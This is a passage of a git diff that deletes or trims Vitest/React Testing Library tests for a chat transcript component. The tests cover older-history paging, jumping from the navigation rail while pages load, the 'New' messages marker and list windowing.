-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-afterEach(() => {
-  expect(unusedChatLeaves.inlineVisual).not.toHaveBeenCalled()
-  expect(unusedChatLeaves.openSender).not.toHaveBeenCalled()
-})
-import type { NativeChatMessage } from '../../../../../../shared/native-chat/native-chat-types'
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-import { createReadOwner } from '../../session/structured/read/structured-agent-session-read-owner-create'
-import type { AgentSessionHistoryPage } from '../../../../../../shared/agent-session/agent-session-wire'
-import { useAppStore } from '@/store'
-import { transcriptWindowTop } from '../virtualization/native-chat-window-test-layout'
-import type { NativeChatOlderPageResult } from './native-chat-pagination'
-import type { NativeChatLiveSession } from '../../session/terminal/read/native-chat-live-session-contract'
-
-import {
-  layout,
-  marker,
-  session,
-  stubLayout,
-  stubResizeObserver
-} from '../virtualization/native-chat-windowing-test-harness'
-
-// Unlike happy-dom, report on observe and whenever the sentinel crosses the prefetch edge.
-type FakeObservation = {
-  callback: IntersectionObserverCallback
-  observer: IntersectionObserver
-  targets: Map<Element, boolean | null>
-}
-const observations = new Set<FakeObservation>()
-const createdObservers: { root: Element | Document | null; rootMargin: string }[] = []
-let sentinelInRange = false
-
-class FakeIntersectionObserver implements IntersectionObserver {
-  readonly root: Element | Document | null
-  readonly rootMargin: string
-  readonly scrollMargin = '0px'
-  readonly thresholds: readonly number[] = [0]
-  private readonly observation: FakeObservation
-  constructor(callback: IntersectionObserverCallback, options: IntersectionObserverInit = {}) {
-    this.root = options.root ?? null
-    this.rootMargin = options.rootMargin ?? '0px'
-    this.observation = { callback, observer: this, targets: new Map() }
-    observations.add(this.observation)
-    createdObservers.push({ root: this.root, rootMargin: this.rootMargin })
-  }
-  observe(target: Element): void {
-    this.observation.targets.set(target, null)
-  }
-  unobserve(target: Element): void {
-    this.observation.targets.delete(target)
-  }
-  disconnect(): void {
-    this.observation.targets.clear()
-    observations.delete(this.observation)
-  }
-  takeRecords(): IntersectionObserverEntry[] {
-    return []
-  }
-}
-
-function deliverIntersections(): void {
-  act(() => {
-    for (const observation of Array.from(observations)) {
-      const entries: IntersectionObserverEntry[] = []
-      for (const [target, last] of observation.targets) {
-        if (last !== sentinelInRange) {
-          observation.targets.set(target, sentinelInRange)
-          entries.push({
-            boundingClientRect: new DOMRect(),
-            intersectionRatio: sentinelInRange ? 1 : 0,
-            intersectionRect: new DOMRect(),
-            isIntersecting: sentinelInRange,
-            rootBounds: null,
-            target,
-            time: 0
-          })
-        }
-      }
-      if (entries.length > 0) {
-        observation.callback(entries, observation.observer)
-      }
-    }
-  })
-}
-
-async function settle(): Promise<void> {
-  await act(async () => {})
-}
-
-const markers = (from: number, to: number): NativeChatMessage[] =>
-  Array.from({ length: to - from }, (_, offset) => marker(from + offset))
-
-/** The scroll root's `pt-10`, and the transcript column's `gap-5`. */
-const TOP_GUTTER_PX = 40
-const COLUMN_GAP_PX = 20
-/** In-flow chrome offsets the spacer by its height plus one flex-column gap. */
-const IN_FLOW_CHROME_PX = 32
-
-function flowAboveSpacer(spacer: HTMLElement): number {
-  return transcriptWindowTop(spacer, TOP_GUTTER_PX, IN_FLOW_CHROME_PX + COLUMN_GAP_PX)
-}
-
-type LoadEarlier = () => Promise<NativeChatOlderPageResult>
-
-function paging({
-  messages,
-  loadEarlier,
-  hasMore = true,
-  loadingEarlier = false,
-  isVisible = true,
-  olderHistoryGeneration = 0,
-  readPhase = 'ready'
-}: {
-  messages: NativeChatMessage[]
-  loadEarlier: LoadEarlier
-  hasMore?: boolean
-  loadingEarlier?: boolean
-  isVisible?: boolean
-  olderHistoryGeneration?: number
-  readPhase?: NativeChatLiveSession['readPhase']
-}): React.JSX.Element {
-  return (
-    <NativeChatMessageList
-      session={{
-        ...session(messages),
-        hasMore,
-        loadingEarlier,
-        loadEarlier,
-        olderHistoryGeneration,
-        readPhase
-      }}
-      isVisible={isVisible}
-      isWorking={false}
-      expandSignal={false}
-    />
-  )
-}
-
-afterEach(cleanup)
-
-describe('older history auto-load', () => {
-  let restoreLayout = (): void => {}
-  let restoreResizeObserver = (): void => {}
-  beforeEach(() => {
-    restoreLayout = stubLayout({ scrollGeometry: true, offsetChain: true })
-    restoreResizeObserver = stubResizeObserver()
-    vi.stubGlobal('IntersectionObserver', FakeIntersectionObserver)
-    observations.clear()
-    createdObservers.length = 0
-    sentinelInRange = false
-    layout.aboveTranscriptPx = 0
-    layout.aboveSpacerPx = flowAboveSpacer
-  })
-  afterEach(() => {
-    vi.useRealTimers()
-    vi.unstubAllGlobals()
-    restoreResizeObserver()
-    restoreLayout()
-    layout.aboveTranscriptPx = 0
-    layout.aboveSpacerPx = null
-  })
-
-  it('keeps a returned window bounded through an intersecting sentinel and resumes on manual history intent', async () => {
-    restoreLayout()
-    restoreLayout = stubLayout({
-      scrollGeometry: true,
-      offsetChain: true,
-      viewportHeight: () => 50
-    })
-    const handle = createRef<NativeChatMessageListHandle>()
-    let generation = 0
-    let hasMore = true
-    const loadEarlier = vi.fn(async (): Promise<NativeChatOlderPageResult> => {
-      generation++
-      hasMore = false
-      refresh()
-      return 'applied'
-    })
-    const trimHistory = () => {
-      generation++
-      refresh()
-    }
-    const element = () => (
-      <NativeChatMessageList
-        ref={handle}
-        session={{
-          ...session(markers(0, 3)),
-          hasMore,
-          loadEarlier,
-          trimHistory,
-          olderHistoryGeneration: generation
-        }}
-        isWorking={false}
-        expandSignal={false}
-      />
-    )
-    const view = render(element())
-    function refresh() {
-      view.rerender(element())
-    }
-    await settle()
-    // A send while already following preserves initial autofill.
-    act(() => handle.current?.revealLatest(true))
-    expect(generation).toBe(0)
-    const scroller = view.container.querySelector<HTMLElement>('[data-native-chat-scroll]')!
-    fireEvent.wheel(scroller, { deltaY: -20 })
-    scroller.scrollTop -= 20
-    fireEvent.scroll(scroller)
-    // The send's near-end predicate remains true after a real departure.
-    act(() => handle.current?.revealLatest(true))
-    sentinelInRange = true
-    deliverIntersections()
-    await settle()
-    deliverIntersections()
-    await settle()
-    expect(loadEarlier).not.toHaveBeenCalled()
-    fireEvent.click(screen.getByRole('button', { name: 'Load earlier messages' }))
-    await settle()
-    deliverIntersections()
-    expect(loadEarlier).toHaveBeenCalledOnce()
-    expect(screen.queryByRole('button', { name: 'Load earlier messages' })).toBeNull()
-  })
-
-  it('retires shared initial autofill across two views and still pages after deliberate history intent', async () => {
-    restoreLayout()
-    restoreLayout = stubLayout({
-      scrollGeometry: true,
-      offsetChain: true,
-      viewportHeight: () => 50
-    })
-    const page = (oldest: number, direction: 'tail' | 'before'): AgentSessionHistoryPage => ({
-      sessionId: 'shared-history',
-      epoch: 'epoch',
-      direction,
-      items: Array.from({ length: 200 }, (_, index) => ({
-        itemId: `item-${oldest + index}`,
-        revision: 1,
-        sequence: oldest + index,
-        observedAt: oldest + index,
-        body: {
-          kind: 'message',
-          role: 'assistant',
-          blocks: [{ type: 'text', text: 'folded history' }]
-        }
-      })),
-      removedItemIds: [],
-      submissions: [],
-      window: {
-        oldest: { epoch: 'epoch', sequence: oldest },
-        newest: { epoch: 'epoch', sequence: oldest + 199 },
-        nextCursor: { epoch: 'epoch', sequence: oldest }
-      },
-      liveCursor: { epoch: 'epoch', sequence: 2000 },
-      hasOlder: true,
-      hasNewer: false
-    })
-    historyHost.subscribe.mockResolvedValue({ unsubscribe: () => {} })
-    historyHost.call.mockImplementation(async (_target, method, params) => {
-      if (method !== 'agentSession.history') {
-        throw new Error('Unexpected host call')
-      }
-      return { ok: true, page: page(params.cursor.sequence - 200, 'before') }
-    })
-    const owner = createReadOwner('shared-history-test', 'shared-history', { kind: 'local' })
-    owner.publishCreated(page(1801, 'tail'))
-    const deactivate = owner.activate({
-      getState: useAppStore.getState,
-      subscribeRetryNow: () => () => {}
-    })
-    const handle = createRef<NativeChatMessageListHandle>()
-    function View({ first = false }: { first?: boolean }) {
-      const snapshot = useSyncExternalStore(owner.subscribe, owner.getSnapshot)
-      return (
-        <NativeChatMessageList
-          ref={first ? handle : undefined}
-          session={{
-            ...session(markers(0, 3)),
-            sessionId: 'shared-history',
-            hasMore: snapshot.state.hasOlder,
-            loadingEarlier: snapshot.loadingOlder,
-            olderHistoryGeneration: snapshot.olderHistoryGeneration,
-            initialHistoryAutoLoad: snapshot.initialHistoryAutoLoad,
-            retainHistory: owner.retainHistory,
-            trimHistory: owner.trimHistory,
-            loadEarlier: owner.loadOlder
-          }}
-          isWorking={false}
-          expandSignal={false}
-        />
-      )
-    }
-    try {
-      // Prime expanded source history before the live edge becomes intersecting.
-      for (let pageIndex = 0; pageIndex < 6; pageIndex++) {
-        await owner.loadOlder()
-      }
-      const view = render(
-        <>
-          <View first />
-          <View />
-        </>
-      )
-      await settle()
-      historyHost.call.mockClear()
-      const scroller = view.container.querySelector<HTMLElement>('[data-native-chat-scroll]')!
-      fireEvent.wheel(scroller, { deltaY: -20 })
-      scroller.scrollTop -= 20
-      fireEvent.scroll(scroller)
-      act(() => handle.current?.revealLatest(true))
-      expect(owner.getSnapshot().state.items).toHaveLength(1024)
-      sentinelInRange = true
-      deliverIntersections()
-      await settle()
-      deliverIntersections()
-      await settle()
-      expect(historyHost.call).not.toHaveBeenCalled()
-      fireEvent.click(screen.getAllByRole('button', { name: 'Load earlier messages' })[1]!)
-      await settle()
-      expect(historyHost.call).toHaveBeenCalledOnce()
-      expect(owner.getSnapshot().state.items).toHaveLength(1224)
-      view.unmount()
-    } finally {
-      deactivate()
-      owner.dispose()
-    }
-  })
-
-  it('offers a manual load after a failed page, and resumes auto-loading once it succeeds', async () => {
-    const loadEarlier = vi
-      .fn<LoadEarlier>()
-      .mockResolvedValueOnce('failed')
-      .mockResolvedValue('applied')
-    const base = markers(100, 150)
-    const { rerender } = render(paging({ messages: base, loadEarlier }))
-    sentinelInRange = true
-    deliverIntersections()
-    await settle()
-
-    const retry = screen.getByRole('button', { name: 'Load earlier messages' })
-    expect(screen.queryByRole('status')).not.toBeInTheDocument()
-    expect(observations.size).toBe(0)
-    sentinelInRange = false
-    deliverIntersections()
-    sentinelInRange = true
-    deliverIntersections()
-    expect(loadEarlier).toHaveBeenCalledTimes(1)
-
-    fireEvent.click(retry)
-    await settle()
-    expect(loadEarlier).toHaveBeenCalledTimes(2)
-    expect(screen.queryByRole('button', { name: /load earlier/i })).not.toBeInTheDocument()
-    expect(screen.getByRole('status')).toBeInTheDocument()
-
-    rerender(paging({ messages: base, loadEarlier, loadingEarlier: true }))
-    rerender(paging({ messages: [...markers(80, 100), ...base], loadEarlier }))
-    deliverIntersections()
-    expect(loadEarlier).toHaveBeenCalledTimes(3)
-  })
-
-  // Without this the recreated observer would ask for the same stuck page forever.
-  it('stops auto-loading, and offers a manual load, when a page made no progress', async () => {
-    const loadEarlier = vi.fn<LoadEarlier>().mockResolvedValue('unchanged')
-    const base = markers(100, 150)
-    const { rerender } = render(paging({ messages: base, loadEarlier }))
-    sentinelInRange = true
-    deliverIntersections()
-    rerender(paging({ messages: base, loadEarlier, loadingEarlier: true }))
-    rerender(paging({ messages: base, loadEarlier }))
-    await settle()
-    deliverIntersections()
-
-    expect(loadEarlier).toHaveBeenCalledTimes(1)
-    expect(observations.size).toBe(0)
-    expect(screen.getByRole('button', { name: 'Load earlier messages' })).toBeInTheDocument()
-  })
-
-  // Reconnect/reset starts a new paging generation and clears that generation’s failure.
-  it('resumes auto-loading, with no click, once the lane resets its paging generation', async () => {
-    const loadEarlier = vi
-      .fn<LoadEarlier>()
-      .mockResolvedValueOnce('failed')
-      .mockResolvedValue('applied')
-    const base = markers(100, 150)
-    const { rerender } = render(paging({ messages: base, loadEarlier }))
-    sentinelInRange = true
-    deliverIntersections()
-    await settle()
-    expect(screen.getByRole('button', { name: 'Load earlier messages' })).toBeInTheDocument()
-
-    rerender(paging({ messages: base, loadEarlier, olderHistoryGeneration: 1 }))
-    deliverIntersections()
-
-    expect(loadEarlier).toHaveBeenCalledTimes(2)
-    expect(screen.queryByRole('button', { name: /load earlier/i })).not.toBeInTheDocument()
-  })
-})
diff --git a/src/renderer/src/components/native-chat/viewport/navigation/NativeChatMessageList.rail-history-jump.test.tsx b/src/renderer/src/components/native-chat/viewport/navigation/NativeChatMessageList.rail-history-jump.test.tsx
deleted file mode 100644
index f4e5b364816..00000000000
--- a/src/renderer/src/components/native-chat/viewport/navigation/NativeChatMessageList.rail-history-jump.test.tsx
+++ /dev/null
@@ -1,354 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { act, cleanup, fireEvent, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-import { useCallback, useMemo, useState } from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-afterEach(() => {
-  expect(unusedChatLeaves.inlineVisual).not.toHaveBeenCalled()
-  expect(unusedChatLeaves.openSender).not.toHaveBeenCalled()
-})
-import type { NativeChatMessage } from '../../../../../../shared/native-chat/native-chat-types'
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-import {
-  transcriptRowOffset,
-  transcriptWindowTop
-} from '../virtualization/native-chat-window-test-layout'
-import type { NativeChatRailOutlineEntry } from '../rail/native-chat-message-rail-items'
-import type { NativeChatOlderPageResult } from '../history/native-chat-pagination'
-import {
-  estimateNativeChatRowHeight,
-  nativeChatRowContentMetrics
-} from '../virtualization/native-chat-row-height-estimate'
-import {
-  deliverResizes,
-  layout,
-  marker,
-  overrideLayoutProperty,
-  session,
-  stubLayout,
-  stubResizeObserver
-} from '../virtualization/native-chat-windowing-test-harness'
-
-afterEach(cleanup)
-
-const TOTAL = 60
-const PAGE = 20
-/** The scroll root's top gutter, always present. */
-const TOP_GUTTER_PX = 40
-/** In-flow older-history chrome disappears with the last page. */
-const OLDER_HISTORY_ROW_PX = 52
-
-function message(index: number): NativeChatMessage {
-  return index % 5 === 0
-    ? {
-        id: `message-${index}`,
-        role: 'user',
-        blocks: [{ type: 'text', text: `prompt-${index}` }],
-        timestamp: index + 1,
-        source: 'transcript'
-      }
-    : marker(index)
-}
-
-const HISTORY = Array.from({ length: TOTAL }, (_, index) => message(index))
-
-/** Every row measures exactly as estimated, so nothing but the jump moves the view. */
-const ROW_HEIGHT_BY_TEXT = new Map(
-  HISTORY.map((entry) => [
-    entry.blocks[0]?.type === 'text' ? entry.blocks[0].text : '',
-    estimateNativeChatRowHeight(nativeChatRowContentMetrics(entry), {
-      hasReceipt: false,
-      hasStatus: false,
-      hasTurnDiff: false
-    })
-  ])
-)
-
-/** Publish each page before settling its promise; the outline also includes unloaded prompts. */
-function PagedTranscript({
-  holdPage
-}: {
-  /** Awaited before a page lands, to keep it in flight. */
-  holdPage?: () => Promise<void>
-}): React.JSX.Element {
-  const [loaded, setLoaded] = useState(PAGE)
-  const loadEarlier = useCallback(async (): Promise<NativeChatOlderPageResult> => {
-    await (holdPage?.() ?? Promise.resolve())
-    setLoaded((current) => Math.min(TOTAL, current + PAGE))
-    return 'applied'
-  }, [holdPage])
-  const messages = useMemo(() => HISTORY.slice(TOTAL - loaded), [loaded])
-  const railOutline = useMemo<NativeChatRailOutlineEntry[]>(
-    () =>
-      HISTORY.slice(0, TOTAL - loaded)
-        .filter((entry) => entry.role === 'user')
-        .map((entry) => ({
-          id: entry.id,
-          text: entry.blocks[0]?.type === 'text' ? entry.blocks[0].text : '',
-          hasImages: false
-        })),
-    [loaded]
-  )
-  return (
-    <NativeChatMessageList
-      session={{ ...session(messages), hasMore: loaded < TOTAL, loadEarlier }}
-      railOutline={railOutline}
-      isWorking={false}
-      expandSignal={false}
-    />
-  )
-}
-
-function rowText(row: HTMLElement): string {
-  return /(?:prompt|marker)-\d+/.exec(row.querySelector('p')?.textContent ?? '')?.[0] ?? ''
-}
-
-// A jump must detach end-follow and retain its landing as older history arrives.
-describe('jumping from the rail while following the end', () => {
-  let restore: (() => void)[] = []
-  let lastEventScrollTop = 0
-
-  beforeEach(() => {
-    vi.useFakeTimers({
-      toFake: [
-        'Date',
-        'performance',
-        'setTimeout',
-        'clearTimeout',
-        'requestAnimationFrame',
-        'cancelAnimationFrame'
-      ]
-    })
-    const undoLayout = stubLayout({ scrollGeometry: true, offsetChain: true })
-    const stubbedHeight = Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'offsetHeight')
-    restore = [
-      undoLayout,
-      stubResizeObserver(),
-      overrideLayoutProperty('offsetHeight', {
-        get(this: HTMLElement): number {
-          const estimated =
-            this.dataset.index === undefined ? undefined : ROW_HEIGHT_BY_TEXT.get(rowText(this))
-          return estimated ?? stubbedHeight?.get?.call(this) ?? 0
-        }
-      }),
-      // The rail stands down in a narrow pane.
-      overrideLayoutProperty('clientWidth', { get: () => 800 }),
-      // Rows sit at their `top` inside the spacer, which sits under the chrome.
-      overrideLayoutProperty('offsetTop', {
-        get(this: HTMLElement): number {
-          if (this.hasAttribute('data-native-chat-window')) {
-            return layout.aboveTranscriptPx
-          }
-          return this.dataset.index === undefined ? 0 : transcriptRowOffset(this)
-        }
-      }),
-      overrideLayoutProperty('offsetParent', {
-        get(this: HTMLElement): HTMLElement | null {
-          if (this.dataset.index !== undefined) {
-            return this.closest<HTMLElement>('[data-native-chat-window]')
-          }
-          return this.parentElement?.closest<HTMLElement>('[data-native-chat-scroll]') ?? null
-        }
-      })
-    ]
-    // The older-history row counts only while it sits in the column's flow.
-    Object.defineProperty(layout, 'aboveTranscriptPx', {
-      configurable: true,
-      get: () =>
-        transcriptWindowTop(
-          document.querySelector('[data-native-chat-window]'),
-          TOP_GUTTER_PX,
-          OLDER_HISTORY_ROW_PX
-        )
-    })
-    vi.spyOn(HTMLElement.prototype, 'scrollTo').mockImplementation(function scrollTo(
-      this: HTMLElement,
-      options?: ScrollToOptions | number
-    ): void {
-      if (typeof options === 'object' && options.top !== undefined) {
-        this.scrollTop = options.top
-      }
-    })
-    lastEventScrollTop = 0
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    vi.restoreAllMocks()
-    Object.defineProperty(layout, 'aboveTranscriptPx', {
-      configurable: true,
-      writable: true,
-      value: 0
-    })
-    for (const undo of restore.toReversed()) {
-      undo()
-    }
-  })
-
-  function scroller(): HTMLElement {
-    const element = document.querySelector<HTMLElement>('[data-native-chat-scroll]')
-    if (!element) {
-      throw new Error('no transcript scroll root')
-    }
-    return element
-  }
-
-  /** Deliver layout changes and scroll events before the virtualizer's next frame. */
-  async function frame(): Promise<void> {
-    const element = scroller()
-    act(() => {
-      // The stubbed setter clamps, so re-writing the offset applies a shrink.
-      const offset = element.scrollTop
-      element.scrollTop = offset
-      deliverResizes()
-    })
-    if (element.scrollTop !== lastEventScrollTop) {
-      lastEventScrollTop = element.scrollTop
-      fireEvent.scroll(element)
-    }
-    await act(async () => {
-      vi.advanceTimersByTime(16)
-    })
-  }
-
-  async function settle(frames: number): Promise<void> {
-    for (let index = 0; index < frames; index += 1) {
-      await frame()
-    }
-  }
-
-  function distanceFromBottom(): number {
-    const element = scroller()
-    return element.scrollHeight - element.clientHeight - element.scrollTop
-  }
-
-  function rowOffsetFromViewportTop(prompt: string): number {
-    const row = screen.getByText(prompt).closest<HTMLElement>('[data-index]')
-    if (!row) {
-      throw new Error(`${prompt} has no mounted row`)
-    }
-    return layout.aboveTranscriptPx + row.offsetTop - scroller().scrollTop
-  }
-
-  it('lets a later pick of a loaded message win over a jump still paging', async () => {
-    let releaseFirstPage: (() => void) | null = null
-    let held = false
-    const holdPage = (): Promise<void> => {
-      if (held) {
-        return Promise.resolve()
-      }
-      held = true
-      return new Promise<void>((resolve) => {
-        releaseFirstPage = resolve
-      })
-    }
-    render(<PagedTranscript holdPage={holdPage} />)
-    await settle(10)
-
-    fireEvent.click(screen.getByRole('button', { name: 'prompt-5' }))
-    await frame()
-    expect(releaseFirstPage).not.toBeNull()
-    fireEvent.click(screen.getByRole('button', { name: 'prompt-45' }))
-    await settle(40)
-    act(() => releaseFirstPage?.())
-    await settle(60)
-
-    // The superseded jump would have kept paging and pulled the reader to prompt-5.
-    expect(screen.queryByText('prompt-5')).toBeNull()
-    expect(Math.abs(rowOffsetFromViewportTop('prompt-45'))).toBeLessThanOrEqual(2)
-  })
-  /** Holds the first older page in flight until released; later pages land at once. */
-  function holdFirstPage(): {
-    holdPage: () => Promise<void>
-    release: () => void
-    asked: () => number
-  } {
-    let release: (() => void) | null = null
-    let asked = 0
-    return {
-      holdPage: () => {
-        asked += 1
-        return asked > 1
-          ? Promise.resolve()
-          : new Promise<void>((resolve) => {
-              release = resolve
-            })
-      },
-      release: () => act(() => release?.()),
-      asked: () => asked
-    }
-  }
-
-  async function pickUnloadedWhilePaging(prompt: string): Promise<void> {
-    fireEvent.click(screen.getByRole('button', { name: prompt }))
-    await frame()
-  }
-
-  it.each([
-    ['a wheel over the transcript', () => fireEvent.wheel(scroller(), { deltaY: -40 })],
-    ['a scroll key', () => fireEvent.keyDown(scroller(), { key: 'PageUp' })],
-    ['a touch drag', () => fireEvent.touchMove(scroller())],
-    ['a scrollbar grab', () => fireEvent.pointerDown(scroller())]
-  ])('leaves the reader where they are after %s while the jump pages', async (_case, input) => {
-    const pages = holdFirstPage()
-    render(<PagedTranscript holdPage={pages.holdPage} />)
-    await settle(10)
-    await pickUnloadedWhilePaging('prompt-5')
-    expect(pages.asked()).toBe(1)
-
-    expect(screen.getByRole('button', { name: 'prompt-5' }).getAttribute('aria-busy')).toBe('true')
-
-    input()
-    await frame()
-    expect(screen.getByRole('button', { name: 'prompt-5' }).getAttribute('aria-busy')).toBeNull()
-    pages.release()
-    await settle(60)
-
-    // The abandoned jump would have paged on and pulled the reader up to prompt-5.
-    expect(pages.asked()).toBe(1)
-    expect(screen.queryByText('prompt-5')).toBeNull()
-    expect(distanceFromBottom()).toBe(0)
-  })
-
-  it('stays at the latest message when "Jump to latest" is pressed while the jump pages', async () => {
-    const pages = holdFirstPage()
-    render(<PagedTranscript holdPage={pages.holdPage} />)
-    await settle(10)
-    // A reader parked above the end, so the button shows.
-    act(() => {
-      fireEvent.wheel(scroller(), { deltaY: -100 })
-      scroller().scrollTop = 200
-    })
-    await settle(2)
-    await pickUnloadedWhilePaging('prompt-5')
-    expect(pages.asked()).toBe(1)
-
-    fireEvent.click(screen.getByRole('button', { name: 'Jump to latest' }))
-    await frame()
-    pages.release()
-    await settle(60)
-
-    expect(pages.asked()).toBe(1)
-    expect(screen.queryByText('prompt-5')).toBeNull()
-    expect(distanceFromBottom()).toBe(0)
-  })
-})
diff --git a/src/renderer/src/components/native-chat/viewport/new-rows/NativeChatMessageList.new-rows-marker.test.tsx b/src/renderer/src/components/native-chat/viewport/new-rows/NativeChatMessageList.new-rows-marker.test.tsx
index ca44f3e5740..1c07e35e353 100644
--- a/src/renderer/src/components/native-chat/viewport/new-rows/NativeChatMessageList.new-rows-marker.test.tsx
+++ b/src/renderer/src/components/native-chat/viewport/new-rows/NativeChatMessageList.new-rows-marker.test.tsx
@@ -84,16 +84,6 @@ describe('the "New" marker in the transcript', () => {
     expect(row?.dataset.index).toBe(String(TRANSCRIPT_LENGTH))
   })
 
-  it('tells a screen reader that new messages came, in a region that was already there', () => {
-    const { container, rerender } = render(chat(TRANSCRIPT_LENGTH, true))
-    const region = container.querySelector('[data-native-chat-scroll] ~ [aria-live="polite"]')
-    expect(region).toBeEmptyDOMElement()
-
-    rerender(chat(TRANSCRIPT_LENGTH, false))
-    rerender(chat(TRANSCRIPT_LENGTH + 60, true))
-    expect(region).toHaveTextContent('New messages arrived while you were away')
-  })
-
   it('is neither drawn nor announced when the reader turned it off', () => {
     const settings = useAppStore.getState().settings
     useAppStore.setState({
@@ -137,13 +127,6 @@ describe('the "New" marker in the transcript', () => {
     const scrollTop = (container: HTMLElement): number | undefined =>
       container.querySelector('[data-native-chat-scroll]')?.scrollTop
 
-    it('brings a reader who was at the end to where the new rows begin', () => {
-      const { container, rerender } = render(chat(TRANSCRIPT_LENGTH, true))
-      returnToNewRows(rerender)
-
-      expect(scrollTop(container)).toBe(TRANSCRIPT_LENGTH * ROW_PITCH_PX)
-    })
-
     it('keeps the reader where the new rows begin while a reply is still being drawn', async () => {
       const { container, rerender } = render(chat(TRANSCRIPT_LENGTH, true))
       returnToNewRows(rerender, 1)
diff --git a/src/renderer/src/components/native-chat/viewport/new-rows/native-chat-new-rows-marker.test.tsx b/src/renderer/src/components/native-chat/viewport/new-rows/native-chat-new-rows-marker.test.tsx
index 9616ca78887..855d5df2eed 100644
--- a/src/renderer/src/components/native-chat/viewport/new-rows/native-chat-new-rows-marker.test.tsx
+++ b/src/renderer/src/components/native-chat/viewport/new-rows/native-chat-new-rows-marker.test.tsx
@@ -66,13 +66,6 @@ const missed = (key: string, after: number, through: number) => ({
 })
 
 describe('where the "New" marker draws', () => {
-  it('is above the first row that came while the reader was away', () => {
-    expect(nativeChatNewRowsMarkerPlacement(slotsOf(LATER), missed('answer', 2, 4))).toEqual({
-      key: 'answer',
-      place: 'above-row'
-    })
-  })
-
   it("is above the turn bar when only that bar parts the row from the reader's prompt", () => {
     const asked = [row('prompt', 1, 'user'), row('answer', 2)]
     expect(
@@ -100,11 +93,6 @@ describe('where the "New" marker draws', () => {
       ).toEqual({ key: 'step', place: 'above-row' })
     }
   })
-
-  it('is absent when nothing came, or the row that did is gone', () => {
-    expect(nativeChatNewRowsMarkerPlacement(slotsOf(LATER), null)).toBeUndefined()
-    expect(nativeChatNewRowsMarkerPlacement(slotsOf(SEEN), missed('answer', 2, 4))).toBeUndefined()
-  })
 })
 
 describe('useNativeChatNewRowsMarker', () => {
@@ -141,16 +129,6 @@ describe('useNativeChatNewRowsMarker', () => {
     return view
   }
 
-  it('marks nothing that arrives while the reader is looking', () => {
-    const view = chat(SEEN)
-    view.rerender({ messages: LATER, showing: true })
-    expect(view.result.current.marker).toBeUndefined()
-  })
-
-  it('marks what a hidden chat is handed when the reader comes back to it', () => {
-    expect(leaveAndReturn(SEEN, LATER).result.current.marker?.key).toBe('answer')
-  })
-
   it("is never above the reader's own prompt", () => {
     const sent = [...SEEN, row('next-prompt', 3, 'user'), row('answer', 4)]
     expect(leaveAndReturn(SEEN, sent).result.current.marker?.key).toBe('answer')
@@ -176,12 +154,6 @@ describe('useNativeChatNewRowsMarker', () => {
     expect(view.result.current.marker?.key).toBe('answer')
   })
 
-  it('goes once the reader answers', () => {
-    const view = leaveAndReturn(SEEN, LATER)
-    act(() => view.result.current.dismiss())
-    expect(view.result.current.marker).toBeUndefined()
-  })
-
   it('does not appear when the reader answered before the chat had caught up', () => {
     const view = chat(SEEN)
     view.rerender({ messages: SEEN, showing: false })
@@ -196,13 +168,6 @@ describe('useNativeChatNewRowsMarker', () => {
     expect(view.result.current.marker?.key).toBe('answer')
   })
 
-  it('is arriving on the return, until the row that draws it has brought it into view', () => {
-    const view = leaveAndReturn(SEEN, LATER)
-    expect(view.result.current.marker?.arriving).toBe(true)
-    act(() => view.result.current.marker?.onArrived())
-    expect(view.result.current.marker).toMatchObject({ key: 'answer', arriving: false })
-  })
-
   it('stays where it is through another look away, until the reader answers', () => {
     const view = leaveAndReturn(SEEN, LATER)
     act(() => view.result.current.marker?.onArrived())
@@ -255,14 +220,6 @@ describe('useNativeChatNewRowsMarker', () => {
     expect(view.result.current.marker?.key).toBe('held')
   })
 
-  it('keeps its place when the reader opens the turn that came while they were away', () => {
-    const view = leaveAndReturn(ASKED, DONE, { worked: 17 })
-    expect(view.result.current.marker).toMatchObject({ key: 'prompt', place: 'above-turn-bar' })
-
-    view.rerender({ messages: DONE, showing: true, turn: { worked: 17, expanded: true } })
-    expect(view.result.current.marker).toMatchObject({ key: 'prompt', place: 'above-turn-bar' })
-  })
-
   it('stays through another look away after the reader shuts the turn they opened', () => {
     const shut = { worked: 17 }
     const view = leaveAndReturn(ASKED, DONE, { worked: 17, expanded: true })
@@ -278,14 +235,6 @@ describe('useNativeChatNewRowsMarker', () => {
     const marked = (onReturn: NativeChatMessage[]) =>
       leaveAndReturn(begun, onReturn, { working: true }).result.current.marker?.key
 
-    it('is marked new when it grew while they were away', () => {
-      expect(marked(grown)).toBe('reply')
-    })
-
-    it('is not marked when it is as they left it', () => {
-      expect(marked(begun)).toBeUndefined()
-    })
-
     it('gives way to the next row when it is as they left it', () => {
       expect(marked([...begun, row('more', 3)])).toBe('more')
     })
diff --git a/src/renderer/src/components/native-chat/viewport/virtualization/NativeChatMessageList.windowing.test.tsx b/src/renderer/src/components/native-chat/viewport/virtualization/NativeChatMessageList.windowing.test.tsx
deleted file mode 100644
index a3436b4ad22..00000000000
--- a/src/renderer/src/components/native-chat/viewport/virtualization/NativeChatMessageList.windowing.test.tsx
+++ /dev/null
@@ -1,307 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { act, cleanup, fireEvent, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
